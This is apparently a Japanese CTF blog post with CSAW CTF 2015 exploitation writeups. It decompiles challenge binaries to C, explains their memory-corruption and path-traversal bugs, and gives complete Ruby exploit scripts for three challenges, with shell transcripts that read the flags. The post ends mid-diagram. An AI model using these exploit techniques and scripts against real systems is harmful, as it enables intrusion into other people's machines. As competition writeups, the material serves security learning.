しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

CSAW CTF 2015 writeup

CSAW CTF 2015にvulscryptosで参加しました。

チームで31問解いて5860ptの14位、
私は5問解いて1900pt(+アシスト1問400pt)入れました(*´ω`*)

チームメンバーのwriteup:
CSAW CTF 2015 writeup (@_193s) | 193s::Diary 2

関わった6問のwriteupをおいておきます(`・ω・´)

contacts (Exploitables 250)

$ ./contacts
Menu:
1)Create contact
2)Remove contact
3)Edit contact
4)Display contacts
5)Exit
>>> 1
Contact info:
        Name: name
[DEBUG] Haven't written a parser for phone numbers; You have 10 numbers
        Enter Phone No: 1234567890
        Length of description: 10
        Enter description:
                hogehoge
Menu:
1)Create contact
2)Remove contact
3)Edit contact
4)Display contacts
5)Exit
>>> 4
Contacts:
        Name: name
        Length 10
        Phone #: 1234567890
        Description: hogehoge
Menu:
1)Create contact
2)Remove contact
3)Edit contact
4)Display contacts
5)Exit
>>> 5
Thanks for trying out the demo, sadly your contacts are now erased

電話帳アプリのデモ版。

まずは下調べ。

$ file contacts
contacts: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=a2c73697f9555c6be6c57478029e352df1f28cc8, stripped
$ checksec.sh --file contacts
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   contacts

Cに直すとこんな感じ。

typedef struct {  //size = 0x50
    char *description;   //0x0
    char *phone;  //0x4
    char name[64];  //0x8
    int length;  //0x48
    int is_used;  //0x4c
} Contact;

int count;  //0x0804b088
Contact contacts[10];  //0x0804b0a0

void set_name(Contact *contact){
    printf("\tName: ");
    fgets(contact->name, 64, stdin);
    if(strchr(contact->name, '\n')){
        *strchr(contact->name, '\n') = '\0';
    }
}

void set_phone(Contact *contact){
    printf("[DEBUG] Haven't written a parser for phone numbers; ");
    puts("You have 10 numbers");

    contact->phone = (char*)malloc(11);
    if(contact->phone == NULL){
        exit(1);
    }

    printf("\tEnter Phone No: ");
    fgets(contact->phone, 11, stdin);
    if(strchr(contact->name, '\n')){
        *strchr(contact->name, '\n') = '\0';
    }
}

void set_description(Contact *contact){
    int length;  //ebp-0xc

    printf("\tLength of description: ");
    scanf("%u%*c", &length);
    contact->length = length;

    contact->description = (char*)malloc(length + 1);
    if(contact->description == NULL){
        exit(1);
    }

    printf("\tEnter dedscription:\n\t\t");
    fgets(contact->description, length + 1, stdin);
    if(contact->description == NULL){
        exit(1);
    }
}

void create_contact(Contact *head){
    Contact *new_contact;  //ebp-0x10
    int i;  //ebp-0xc

    new_contact = head;
    i = 0;
    while(!new_contact->is_used && i < 10){
        i += 1;
        new_contact += 1;
    }

    puts("Contact info: ");
    set_name(new_contact);
    set_phone(new_contact);
    set_description(new_contact);
    new_contact->is_used = 1;
    count += 1;
}

void remove_contact(Contact *head){
    Contact *contact;  //ebp-0x54
    int i;  //ebp-0x50
    char name[64];  //ebp-0x4c
    int canary;  //ebp-0xc

    contact = head;

    printf("Name to remove? ");
    fgets(name, 64, stdin);
    if(strchr(name, '\n')){
        *strchr(name, '\n') = '\0';
    }

    for(i = 0; i < 10; i++, contact++){
        if(contact->is_used && !strcmp(contact->name, name)){
            memset(contact->name, 0, 64);
            free(contact->description);
            contact->length = 0;
            contact->is_used = 0;
            count -= 1;

            printf("Removed: %s\n\n", name);

            return;
        }
    }

    puts("Name not found dude");
}

void edit_contact(Contact *head){
    int length;  //ebp-0x5c
    int selection;  //ebp-0x58
    Contact *contact;  //ebp-0x54
    int i;  //ebp-0x50
    char name[64];  //ebp-0x4c
    int canary;  //ebp-0xc

    contact = head;

    printf("Name to change? ");
    fgets(name, 64, stdin);
    if(strchr(name, '\n')){
        *strchr(name, '\n') = '\0';
    }

    for(i = 0; i < 10; i++, contact++){
        if(strcmp(name, contact->name)){
            printf(
                "1.Change name\n"
                "2.Change description\n"
                ">>> "
            );
            scanf("%u%*c", &selection);

            switch(selection){
                case 1:
                    printf("New name: ");
                    fgets(contact->name, length, stdin);  //[!] 'length' is not initialized. This may cause buffer overflow.
                    if(strchr(contact->name, '\n')){
                        *strchr(contact->name, '\n') = '\0';
                    }
                case 2:
                    free(contact->description);

                    printf("Length of description: ");
                    scanf("%u%*c", &length);

                    printf("Description: \n\t");
                    contact->description = malloc(length);
                    fgets(contact->description, length, stdin);
                default:
                    puts("Bad option");
                    break;
            }
        }
    }

    puts("Name not found");
}

void show_contact_info(char *name, int length, char *phone, char *description){
    printf("\tName: %s\n", name);
    printf("\tLength %u\n", length);
    printf("\tPhone #: %s\n", phone);
    printf("\tDescription: ");
    printf(description);  //[!] format string bug
}

void display_contacts(Contact *head){
    Contact *contact;  //ebp-0x10
    int i;  //ebp-0xc

    contact = head;

    if(count == 0){
        puts("\nAdd contacts first");
        return;
    }

    puts("Contacts:");
    for(i = 0; i < 10; i++, contact++){
        if(contact->is_used){
            show_contact_info(contact->name, contact->length, contact->phone, contact->description);
        }
    }
}

int main(){
    int i;  //esp+0x1c
    int selection;  //esp+0x18

    stvbuf(stdout, 0, 2, 0);

    for(i = 0; i < 10; i++){
        memset(&contacts[i], 0, 0x50);
    }

    while(selection != 5){
        printf("%s",
            "Menu:\n"
            "1)Create contact\n"
            "2)Remove contact\n"
            "3)Edit contact\n"
            "4)Display contacts\n"
            "5)Exit\n"
            ">>> "
        );
        scanf("%u%*c", &selection);

        switch(selection){
            case 1:
                create_contact(contacts);
                break;
            case 2:
                remove_contact(contacts);
                break;
            case 3:
                edit_contact(contacts);
                break;
            case 4:
                display_contacts(contacts);
                break;
            case 5:
                continue;
            default:
                puts("Invalid option");
                break;
        }
    }

    puts("Thanks for trying out the demo, sadly your contacts are now erased");

    return 0;
}
  • edit_contactname編集部でbuffer overflowすることで、後続のContactが持つポインタの書き換えが可能
    ポインタを書き換えた状態でdisplay_contactsすることで、メモリ上の任意の場所のデータをリークできる
  • show_contact_infodescription出力部にformat string bug

という脆弱性がある。

edit_contactbofでgotをリークさせ、show_contact_infofsbmainのリターンアドレス周辺を書き換えて、mainから戻る時にsystem("/bin/sh")が呼ばれるようにした。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "54.165.223.128"
    port = 2555
    libc_offset = {
        "__libc_start_main" => 0x19970,
        "system" => 0x3fcd0
    }
else
    host = "192.168.0.2"
    port = 54321
    libc_offset = {
        "__libc_start_main" => 0x19990,
        "system" => 0x40190
    }
end

got = {
    "__libc_start_main" => 0x0804b034
}

def create_contact(tube, name, phone, length, description)
    tube.recv_until(">>>")
    tube.send("1\n")

    tube.recv_until("Name:")
    tube.send(name + "\n")

    tube.recv_until("Phone No:")
    tube.send(phone + "\n")

    tube.recv_until("Length of description:")
    tube.send(length.to_s + "\n")

    tube.recv_until("Enter description:")
    tube.send(description + "\n")
end

def remove_contact(tube, name)
    tube.recv_until(">>>")
    tube.send("2\n")

    tube.recv_until("Name to remove?")
    tube.send(name + "\n")
end

def edit_contact_name(tube, target_name, new_name)
    tube.recv_until(">>>")
    tube.send("3\n")

    tube.recv_until("Name to change?")
    tube.send(target_name + "\n")

    tube.recv_until(">>>")
    tube.send("1\n")

    tube.recv_until("New name:")
    tube.send(new_name + "\n")
end

def edit_contact_description(tube, target_name, length, description)
    tube.recv_until(">>>")
    tube.send("3\n")

    tube.recv_until("Name to change?")
    tube.send(target_name + "\n")

    tube.recv_until(">>>")
    tube.send("2\n")

    tube.recv_until("Length of description:")
    tube.send(length.to_s + "\n")

    tube.recv_until("Description:")
    tube.send(description + "\n")
end

def display_contacts(tube)
    tube.recv_until(">>>")
    tube.send("4\n")
end

PwnTube.open(host, port){|tube|
    tube.wait_time = 0

    puts "[*] create 2 contacts"
    create_contact(tube, "1", "1", 10, "1")
    create_contact(tube, "2", "2", 10, "2")

    puts "[*] overwrite contact2"
    edit_contact_description(tube, "1", 160, "%6$p")
    payload = ""
    payload << "1" + "\0" * 63
    payload << "A" * 8
    payload << [0].pack("L")
    payload << [got["__libc_start_main"]].pack("L")
    payload << "2\0"
    edit_contact_name(tube, "1", payload)

    puts "[*] leak stack address & libc base"
    display_contacts(tube)
    stack = tube.recv_capture(/Description: (0x[0-9a-f]+)\n/)[0].to_i(16)
    libc_base = tube.recv_capture(/Length 10\s+Phone #: (.{4})/m)[0].unpack("L")[0] - libc_offset["__libc_start_main"]
    printf("stack = 0x%08x\n", stack)
    printf("libc base = 0x%08x\n", libc_base)

    puts "[*] overwrite stack"
    payload = [libc_offset["system"] + libc_base, 0, 0x0804b0a8].pack("L*")
    for i in 0...payload.length
        print "."
        edit_contact_description(tube, "1", 100, "%#{(stack + 0x34 + i) & 0xffff}c%37$hn")
        if payload.bytes[i] == 0
            edit_contact_description(tube, "2", 100, "%69$hhn")
        else
            edit_contact_description(tube, "2", 100, "%#{payload.bytes[i]}c%69$hhn")
        end
        display_contacts(tube)
    end
    puts

    puts "[*] send /bin/sh"
    remove_contact(tube, "2")
    edit_contact_name(tube, "1", "/bin/sh")

    puts "[*] trigger"
    tube.recv_until(">>>")
    tube.send("5\n")

    tube.shell
}
$ ruby contacts.rb
[*] connected
[*] create 2 contacts
[*] overwrite contact2
[*] leak stack address & libc base
stack = 0xff875578
libc base = 0xf7618000
[*] overwrite stack
............
[*] send /bin/sh
[*] trigger
[*] waiting for shell...
[*] interactive mode
id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
ls -la
total 44
drwxr-xr-x 2 ctf  ctf  4096 Sep 18 19:39 .
drwxr-xr-x 4 root root 4096 Sep 18 01:00 ..
-rw------- 1 ctf  ctf   922 Sep 19 05:16 .bash_history
-rw-r--r-- 1 ctf  ctf   220 Sep 18 01:00 .bash_logout
-rw-r--r-- 1 ctf  ctf  3637 Sep 18 01:00 .bashrc
-rwxrwxr-x 1 ctf  ctf  9716 Sep 18 19:38 contacts_54f3188f64e548565bc1b87d7aa07427
-rw-rw-r-- 1 ctf  ctf    35 Sep 18 19:21 flag
-rw-r--r-- 1 ctf  ctf   675 Sep 18 01:00 .profile
-rw-rw-r-- 1 ctf  ctf    66 Sep 18 01:02 .selected_editor
cat flag
flag{f0rm47_s7r1ng5_4r3_fun_57uff}
exit
[*] end interactive mode
[*] connection closed

FLAG:flag{f0rm47_s7r1ng5_4r3_fun_57uff}

FTP 2 (Exploitables 300)

$ nc localhost 12012
Welcome to FTP server
noop
login with USER first
user blankwall
Please send password for user blankwall
pass UJD737logged in
noop
NOOP ok
quit
Goodbye :)

簡易FTPサービス。

一部をCに直すとこんな感じ。

typedef struct {  //size = 0x4c8
    int fd;  //0x0
    int pasv_sock_fd;  //0x4
    int pasv_socket;  //0x8
    int field_c;  //0xc
    char *command;  //0x10
    char *arg;  //0x18
    char *username;  //0x20
    char *password;  //0x28
    char host[128];  //0x30
    long port;  //0xb0
    long field_b8;  //0xb8
    char current_directory[1024];  //0xc0
    int is_loggedin;  //0x4c0
    int field_4c4;  //0x4c4
}

char pasv_buffer[];  //0x604200
int NG_char = 'f';  //0x604408

// RETR command
void do_retr(Status *_status){
    Status *status = _status;  //rbp-0x48
    char *var_30;  //rbp-0x30
    char *filename;  //rbp-0x18
    long var_28;  //rbp-0x28

    filename = build_path(status, status->arg);
    var_30 = filename;
    var_28 = strlen(filename);
    while(1){
        if(*var_30 == NG_char || --var_28 == 0){
            break;
        }
        var_30++;
    }
    if(*(var_30 + 1) != '\0'){
        my_send(status->fd, "Invalid character specified\n");
        return;
    }

    //send file
}

// STOR command
void do_stor(Status *_status){
    Status *status = _status;  //0x48
    int total_length;  //rbp-0x34
    int recv_length;  //rbp-0x2c
    char *path;  //rbp-0x20

    total_length = 0;

    path = build_path(status, status->arg);
    if(accept_pasv(status) < 0){
        my_send(status->fd, "connection cannot be established.\n");
        return;
    }

    my_send(status->fd, "transfer starting.\n");
    while(1){
        recv_length = recv(status->pasv_sock_fd, pasv_buffer, 10, 0);
        if(recv_length < 0){
            my_send(status->fd, "error receiving file");
            break;
        }
        if(recv_length == 0){
            break;
        }
        total_length += recv_length;
    }

    printf("Storing file %s", status->arg);
    pasv_buffer[total_length] = '\0';  //[!] &pasv_buffer[0x208] == &NG_char

    entry_count++;
    files[entry_count] = create_entry(path, total_length);
    my_send(status->fd, "transfer complete\n");
    end_pasv(status);
}

flag.txtを読めたら勝ちという問題だが、フルパスに'f'が含まれるファイルをRETRで取ってこようとすると怒られる仕様になっている。

do_storを見ると、ファイル受信後にバッファ(pasv_buffer)をnull終端している(つもりになっている)処理があるが、total_lengthのチェックをしていないため、pasv_bufferより後ろにある任意のバイトを0にすることができる。

これを利用してNG_charを'\0'にしてしまい、flag.txtを取得した。

#coding:ascii-8bit
require_relative "../../pwnlib"

username = "blankwall"
password = "UJD737"

remote = true
if remote
    @host = "54.175.183.202"
else
    @host = "192.168.0.2"
end

def cwd(tube, directory)
    tube.send("cwd #{directory}")
    tube.recv_until("directory changed successfully")
end

def retr(tube, filename)
    port = pasv(tube)
    tube.send("retr #{filename}\n")
    pasv_recv(port)
end

def list(tube)
    port = pasv(tube)
    tube.send("list")
    result = pasv_recv(port)
    tube.recv_until("LIST complete")
    result
end

def stor(tube, filename, data)
    port = pasv(tube)
    tube.send("stor #{filename}")
    pasv_send(port, data)
    tube.recv_until("transfer complete")
end

def pasv(tube)
    tube.send("pasv")
    tube.recv_capture(/PASV succesful listening on port: (\d+)\n/)[0].to_i
end

def pasv_recv(port)
    buf = ""
    PwnTube.open(@host, port){|tube|
        tube.wait_time = 0
        while s = tube.recv
            if s.length == 0
                break
            end
            buf << s
        end
    }
    buf
end

def pasv_send(port, data)
    PwnTube.open(@host, port){|tube|
        tube.wait_time = 0
        tube.send(data)
    }
end

PwnTube.open(@host, 12012){|tube|
    tube.wait_time = 0

    tube.recv_until("Welcome to FTP server")

    puts "[*] login"
    tube.send("user #{username}\n")
    tube.recv_until("Please send password for")
    tube.send("pass #{password}")
    tube.recv_until("logged in")

    puts "[*] overwrite NGchar"
    stor(tube, "test", "A" * 0x208)

    puts "[*] retrieve flag"
    puts retr(tube, "flag.txt")
}
$ ruby ftp.rb
[*] connected
[*] login
[*] overwrite NGchar
[*] connected
[*] connection closed
[*] retrieve flag
[*] connected
[*] connection closed
flag{exploiting_ftp_servers_in_2015}
[*] connection closed

FLAG:flag{exploiting_ftp_servers_in_2015}

autobots (Exploitables 350)

問題サーバに繋ぐと、Cに直すとこんな感じのechoサーバのバイナリ(x86_64 ELF)が降ってくる。

void main(){
    struct sockaddr_in addr;  //rbp-0x110
    char buf[248];  //rbp-0x100
    int sock_fd;  //rbp-0x8
    int sock;  //rbp-4

    sock = socket(2, 1, 0);
    memset(&addr, 0, 16);
    addr.sin_family = 2;
    addr.sin_addr.s_addr = htons(0);
    addr.sin_port = htons(24299);
    bind(sock, &addr, 16);
    listen(sock, 10);

    sock_fd = accept(sock, 0, 0);

    read(sock_fd, buf, 220);
    write(sock_fd, buf, strlen(buf) + 1);
}

ELFを落とす度にechoサーバのポート・バッファのサイズ・readのバイト数・関数のアドレスが変わる。

バッファサイズ < readのバイト数になっている場合はbuffer overflowを引き起こせるため、ELFダウンロード→解析→ROP までの動作を自動で行うexploitを書く必要がある。

echoサーバのポート番号やバッファのサイズ等、ROPに必要な情報はobjdumpやreadelfの出力から取得し、ROP可能なバイナリが降ってきたらshellを取る仕組みにした。

#coding:ascii-8bit
require "open3"
require_relative "../../pwnlib"

remote = true
if remote
    @host = "52.20.10.244"
    libc_base = 0x00007ffff7b00860 - 0xeb860  # ASLR is disabled
    libc_offset = {
        "system" => 0x46640
    }
else
    @host = "127.0.0.1"
end

got = {
    "write" => 0x601018,
    "read" => 0x601038,
    "system" => 0x601100
}

def download_binary
    PwnTube.open(@host, 8888, nil){|tube|
        buf = ""
        while (s = tube.recv) && s.length > 0
            buf << s
        end
        return buf
    }
end

def analyze
    objdump = Open3.capture2("objdump -d -Mintel binary")[0]

    port = objdump.match(/eax\n.+?mov +edi,(0x[0-9a-f]+)\n/).captures[0].to_i(16)
    bufsize = objdump.match(/eax\n.+?lea +rcx,\[rbp-(0x[0-9a-f]+)\]/).captures[0].to_i(16)
    readsize = objdump.match(/\[rbp-0x8\]\n.+?mov +edx,(0x[0-9a-f]+)\n/).captures[0].to_i(16)

    [port, bufsize, readsize]
end

def get_gadget_address
    Open3.capture2("readelf -a binary | grep __libc_csu_init")[0].match(/\d+: ([0-9a-fA-F]+) + \d+ +FUNC/).captures[0].to_i(16)
end

def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0)
    gadget = get_gadget_address

    payload = ""
    payload << [gadget + 90, 0, 1, func, arg3, arg2, arg1].pack("Q*")
    payload << [gadget + 64].pack("Q")
    payload << [0].pack("Q") * 7

    payload
end

port, bufsize, readlength = []
while true
    puts "[*] download binary"
    if remote
        binary = download_binary
        open("binary", "wb"){|io|io.write binary}
    end

    puts "[*] analyze"
    port, bufsize, readlength = analyze
    puts "port = #{port}"
    puts "buffer size = #{bufsize}"
    puts "read length = #{readlength}"
    puts "overflow length = #{readlength - bufsize}"
    puts

    if readlength - bufsize - 8 >= 256
        break
    else
        puts "[*] retry"
    end
end

puts "[*] pwn"
PwnTube.open(@host, port){|tube|
    tube.wait_time = 0

=begin
    puts "[*] leak got"
    payload = ""
    payload << "\0" * (bufsize + 8)
    payload << call_func(got["write"], 6, 0x601018, 88)
    tube.send(payload)
    puts tube.recv_until(/.{88}/).unpack("Q*").map{|a|sprintf("0x%016x", a)}.join(" ")
=end

    puts "[*] send rop"
    payload = ""
    payload << "\0" * (bufsize + 8)
    payload << call_func(got["read"], 6, got["system"], 0x100)
    payload << call_func(got["system"], got["system"] + 8)
    tube.send(payload)

    puts "[*] create entry"
    payload = ""
    payload << [libc_base + libc_offset["system"]].pack("Q")
    payload << "/bin/sh <&6 >&6 2>&6\0"
    tube.send(payload)

    tube.interactive
}
$ ruby autobot.rb
[*] download binary
[*] analyze
port = 14172
buffer size = 256
read length = 192
overflow length = -64

[*] retry
[*] download binary
[*] analyze
port = 9146
buffer size = 144
read length = 28
overflow length = -116

[*] retry
[*] download binary
[*] analyze
port = 60580
buffer size = 160
read length = 386
overflow length = 226

[*] retry
[*] download binary
[*] analyze
port = 26148
buffer size = 224
read length = 162
overflow length = -62

[*] retry
[*] download binary
[*] analyze
port = 11847
buffer size = 384
read length = 71
overflow length = -313

[*] retry
[*] download binary
[*] analyze
port = 62539
buffer size = 64
read length = 43
overflow length = -21

[*] retry
[*] download binary
[*] analyze
port = 19328
buffer size = 416
read length = 91
overflow length = -325

[*] retry
[*] download binary
[*] analyze
port = 1597
buffer size = 208
read length = 34
overflow length = -174

[*] retry
[*] download binary
[*] analyze
port = 47179
buffer size = 432
read length = 265
overflow length = -167

[*] retry
[*] download binary
[*] analyze
port = 27053
buffer size = 32
read length = 329
overflow length = 297

[*] pwn
[*] connected
[*] send rop
[*] create entry
[*] interactive mode
id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
ls -la
total 448
drwxr-xr-x 3 ctf  ctf  4096 Sep 19 15:34 .
drwxr-xr-x 4 root root 4096 Sep 17 20:17 ..
(snip)
-rw-rw-r-- 1 ctf  ctf  3397 Sep 19 02:34 autobots.py
-rwxrwxrwx 1 ctf  ctf  8955 Sep 19 12:58 b0d93db7f7fc8694be6abdfce86f4537
-rwxrwxrwx 1 ctf  ctf  8955 Sep 19 15:34 baa9d40f0ae0389af23201c8d7ad7399
-rw------- 1 ctf  ctf  1068 Sep 19 15:05 .bash_history
drwxrwxr-x 2 ctf  ctf  4096 Sep 19 02:22 .byobu
-rwxrwxrwx 1 ctf  ctf  8955 Sep 19 15:34 cb8dffd0348a91b4297b09cdc405626f
-rwxrwxrwx 1 ctf  ctf  8955 Sep 19 15:34 deea8bf6e800d50809dfd60f6854e019
-rwxrwxrwx 1 ctf  ctf  8955 Sep 19 09:40 e1809f009d9abb0a8eccbbff86dcb304
-rwxrwxrwx 1 ctf  ctf  8955 Sep 19 15:34 f59bdc2da10812b65967df153553c51d
-rwxrwxrwx 1 ctf  ctf  8955 Sep 19 15:34 f82acf2735148b4c2755419b318d5670
-rwxrwxrwx 1 ctf  ctf  8955 Sep 19 15:34 fcc2066d75eea7c452d7f4759ed0e83c
-r-------- 1 ctf  ctf    34 Sep 17 21:14 flag
-rw-rw-r-- 1 ctf  ctf    34 Sep 19 13:40 nc
cat flag
flag{c4nt_w4it_f0r_cgc_7h15_y34r}
exit
[*] end interactive mode
[*] connection closed

FLAG:flag{c4nt_w4it_f0r_cgc_7h15_y34r}

memeshop (Exploitables 400)

$ ruby memeshop.rb
hi fellow memers
welcome to the meme shop
u ready 2 buy some dank meme?
 ---------------------------
 ---------------------------
so... lets see what is on the menu
[p]rint receipt from confirmation number
[n]ic cage (RARE MEME)
[d]erp
d[o]ge (OLD MEME, ON SALE)
[f]ry (SHUT UP AND LET ME TAKE YOUR MONEY)
n[y]an cat
[l]ike a sir
[m]r skeletal (doot doot)
[t]humbs up
t[r]ollface.jpg
[c]heck out
[q]uit
q
bye

よくわからないものを売るサービス。

ファイルパスをbase64エンコードしたものをprint receiptに渡すことで任意のファイルを出力することができる。(ディレクトリ・トラバーサルとも言えるかも?)

/proc/self/cmdlineを読んでサーバで動いているスクリプトのファイル名を確認し、スクリプトを取得した。

#!/usr/bin/env ruby
GC.disable
require 'tempfile'
require 'base64'
require 'colorize'
require_relative './plugin/mememachine.so'

include MemeMachine

$stdout.sync = true
@meme_count = 0

def print_menu
    puts "[p]".green+ "rint receipt from confirmation number"
    puts "[n]".green + "ic cage (RARE MEME)"
    puts "[d]".green + "erp"
    puts "d" + "[o]".green + "ge (OLD MEME, ON SALE)"
    puts "[f]".green + "ry (SHUT UP AND LET ME TAKE YOUR MONEY)"
    puts "n" + "[y]".green + "an cat"
    puts "[l]".green + "ike a sir"
    puts "[m]".green + "r skeletal (doot doot)"
    puts "[t]".green + "humbs up"
    puts "t" + "[r]".green + "ollface.jpg"
    puts "[c]".green + "heck out"
    puts "[q]".red + "uit"
end

def print_receipt
    print "ok, let me know your order number bro: "
    str = gets.chomp
    f = Base64.decode64 str
    if f.include? "flag" or f.include? "*"
        puts "flag{just kidding, you need a shell}"
    elsif File.exist? f
        puts "ok heres ur receipt or w/e"
        puts IO.read(f)
    else
        puts "sry br0, i have no records of that"
    end
    puts ""
end

def checkouter
    str = "u got memed on #{@meme_count} times, memerino"
    file = Tempfile.new "meme"
    file.write str
    ObjectSpace.undefine_finalizer file
    puts "ur receipt is at #{Base64.encode64 file.path}"
    puts checkout @meme_count
end

def domeme name
    @meme_count = @meme_count + 1
    meme = IO.read name
    puts meme
    addmeme
end

def skeletal
    @meme_count = @meme_count + 1
    puts IO.read "./memes/skeleton.meme"
    puts "so... what do you say to mr skeletal?"
    str = gets
    puts addskeletal Base64.decode64 str
end

puts "hi fellow memers"
puts "welcome to the meme shop"
puts "u ready 2 buy some dank meme?"
puts " --------------------------- "
puts IO.read Dir.glob("fortunes/*").sample
puts " --------------------------- "

puts "so... lets see what is on the menu"

quit = false
while not quit
    print_menu
    val = gets.chomp
    case val[0]
    when 'q'
        quit = true
        next
    when 'p'
        print_receipt
        next
    when 'o'
        domeme "./memes/doge.meme"
        next
    when 'n'
        domeme "./memes/cage.meme"
        next
    when 'd'
        domeme "./memes/derp.meme"
        next
    when 'f'
        domeme "./memes/fry.meme"
        next
    when 'n'
        domeme "./memes/nyan.meme"
        next
    when 'l'
        domeme "./memes/sir.meme"
        next
    when 'm'
        skeletal
        next
    when 't'
        domeme "./memes/thumbup.meme"
        next
    when 'r'
        domeme "./memes/troll.meme"
        next
    when 'c'
        checkouter
        quit = true
        next
    end
end

puts "bye"

mememachine.soとは何ぞやということでこれも取得し、解析。

#define TYPE_MEME 0
#define TYPE_SKELETAL 1
typedef struct {  //size = 0x18
    long field_0;  //0x0
    int (*func)(int);  //0x8
    int field_10;  //0x10
    int field_14;  //0x14
} Meme;

typedef struct {
    char message[128];  //0x0
    char field_80[136];  //0x80
    int (*func)(int);  //0x108
    int field_110;  //0x110
    int field_114;  //0x114
} Skeletal;

int types_tracker;  //0x202084
unsigned char counter;  //0x202088
void *memerz[];  //0x2020c0
long types[];  //0x2028c0

VALUE method_addmeme(VALUE self){
    Meme *meme;

    meme = (Meme*)malloc(sizeof(Meme));
    meme->field_10 = 0;
    meme->func = gooder;

    memerz[counter++] = meme;
    types[types_tracker++] = TYPE_MEME;

    return rb_str_new_static("meme successfully added", 23);
}

VALUE method_addskeletal(VALUE self, VALUE arg1){
    char *message;
    Skeletal *skeletal;

    message = (char*)arg1 + 0x10;
    if(*(long*)arg1 & 0x2000){
        message = (char*)arg1 + 0x18;
    }

    skeletal = (Skeletal*)malloc(sizeof(Skeletal));
    strncpy(skeletal->message, message, 128);
    skeletal->func = gooder;
    skeletal->field_110 = 0;

    if(strncmp(skeletal->message, "thanks mr skeletal", 19)){
        memerz[counter++] = skeletal;
        types[types_tracker++] = TYPE_SKELETAL;
        return rb_str_new_static("meme successfully added", 23);
    }else{
        types[types_tracker++] = TYPE_SKELETAL;
        memerz[counter++] = skeletal;
        skeletal->func = badder;
        return rb_str_new_static("im going to steal all ur calcuims", 33);
    }
}

VALUE method_checkout(VALUE self, VALUE arg1){
    int meme_count;
    int i;
    void *obj;
    int result = 0;

    meme_count = fix2int(arg1);
    if(meme_count <= 0){
        return rb_str_new_static("successfully checked out", 24);
    }

    for(i = 0; i < meme_count; i++){
        obj = &memerz[i];

        //edx = type[i]
        if(types[i] == TYPE_MEME){
            //edx is 0
            result |= ((Meme*)obj)->func(((Meme*)obj)->field_10);
        }else{
            result |= ((Skeletal*)obj)->func(((Skeletal*)obj)->field_110);
        }
    }

    if(result){
        return rb_str_new_static("you are going to get memed on so hard with no calcium", 53);
    }else{
        return rb_str_new_static("successfully checked out", 24);
    }
}

void Init_mememachine(){
    MemeMachine = rb_define_module("MemeMachine");
    rb_define_method(MemeMachine, "addmeme", method_addmeme, 0);
    rb_define_method(MemeMachine, "addskeletal", method_addskeletal, 1);
    rb_define_method(MemeMachine, "checkout", method_checkout, 1);
}

types_trackerが32bit整数なのに対してcounterが8bit整数なため、257個目のMeme登録時に更新されるのはtypes[256]memerz[0]になる。

つまり、Memeを256個登録した後にSkeletalを1個登録することで、types[0] = TYPE_MEMEなのにmemerz[0]に入っているのはSkeletalというちぐはぐなことになる。

typesmemerzがちぐはぐになっていると、checkout時に

・typesとmemerzの整合性がとれているとき
  +----+
  |    v
+--------+--------+
|  Meme  |  Meme  |
+--------+--------+
Meme内の関数ポインタ(func)が使われる

・types[0] = TYPE_MEMEなのにmemerz[0]がSkeletalなとき
  +----+
  |    v
+------------+--------+
|  Skeletal  |  Meme  |
+------------+--------+
Skeletal内のデータ(message)が関数ポインタになる

という風になり、ripを奪うことができる。

さて、ripを奪えることはわかったが、((Meme*)obj)->funcの引数はediにセットされるため、引数"/bin/sh"のアドレスが32bitに収まらないsystem("/bin/sh")は呼ぶことができない。

libc内のOne-Gadget-RCEが使えないか調べたが、スタックの状態がよろしくないため断念。

libruby内にOne-Gadget-RCEがないかついでに調べてみたところ、

gdb-peda$ pdisass rb_exec_async_signal_safe
Dump of assembler code for function rb_exec_async_signal_safe:
(snip)
   0x0000000000115a79 <+361>:   lea    rdx,[rip+0x10dbe8]        # "-c"
   0x0000000000115a80 <+368>:   lea    rsi,[rip+0x10dbe9]        # "sh"
   0x0000000000115a87 <+375>:   lea    rdi,[rip+0x10dbdd]        # "/bin/sh"
   0x0000000000115a8e <+382>:   xor    r8d,r8d
   0x0000000000115a91 <+385>:   xor    eax,eax
   0x0000000000115a93 <+387>:   call   0x2c420 <execl@plt>
(snip)

こんな処理を見つけた。(これはローカルのlibrubyなので、リモートだとアドレスは多少変動する)

types[i]が0の場合はedxも0になるため、この状態でrb_exec_async_signal_safe+368に飛べばexecl("/bin/sh", "sh", NULL)が実行されてshellが取れる。

ということで、

  1. /proc/self/mapsを読んでlibrubyのベースアドレスを調べる
  2. Memeを256個登録
  3. librubyのOne-Gadget-RCEのアドレスを詰め込んだSkeletonを登録
  4. checkout

という手順でshellを取った。

exploitは193sプロが書いてくれたのでここでは割愛する。

rhinoxorus (Exploitables 500)

この問題は大会開始後しばらくしてからソースが公開された。

最大256バイト読み込んだ後、こんな感じの関数に放り込まれる。

unsigned char func_31(unsigned char *buf, unsigned int count)
{
    unsigned int i;
    unsigned char localbuf[0x80];  //localbufのサイズ, byteはbufの最初のバイトにより変動する
    unsigned char byte=0x80;
    memset(localbuf, byte, sizeof(localbuf));
    printf("in function func_31, count is %u, bufsize is 0x80\n", count);
    if (0 == --count)
    {
         return 0;
    }
    for (i = 0; i < count; ++i)
    {
         localbuf[i] ^= buf[i];
    }
    func_array[localbuf[0]](localbuf+1, count);
    return 0;
}

ここでcountlocalbufのサイズより大きいと、xor時にスタックを破壊できる。

が、カナリアがいるためどうしたものかと悩んでいると、「bufに"\x00"を入れればカナリアが書き換わらないよね」というアドバイスをチームメンバーからいただいた。
f:id:Charo_IT:20150923144042p:plain

ということで、一番最初に呼ばれるfunc_XXのスタックを……

+------------+
|            |
|  localbuf  | <-localbufのサイズはpayloadの一番最初のバイトに依存
|            |
+------------+
|   canary   |
+------------+
|   garbage  | <-8byte
+------------+
|  saved-ebp |
+------------+
| 0x08056afa | <-return address(process_connection)
+------------+
|            | <-recv_bufのアドレス
+------------+
|payload size| <-次段のfunc_XXの引数countになる
+------------+
|    0x100   |
+------------+
|      0     |
+------------+
|            |
+------------+
|            |
|  recv_buf  |
|            |

↑から↓に書き換え……

+------------+
|            |
|  localbuf  |
|            |
+------------+
|   canary   |
+------------+
|   garbage  |
+------------+
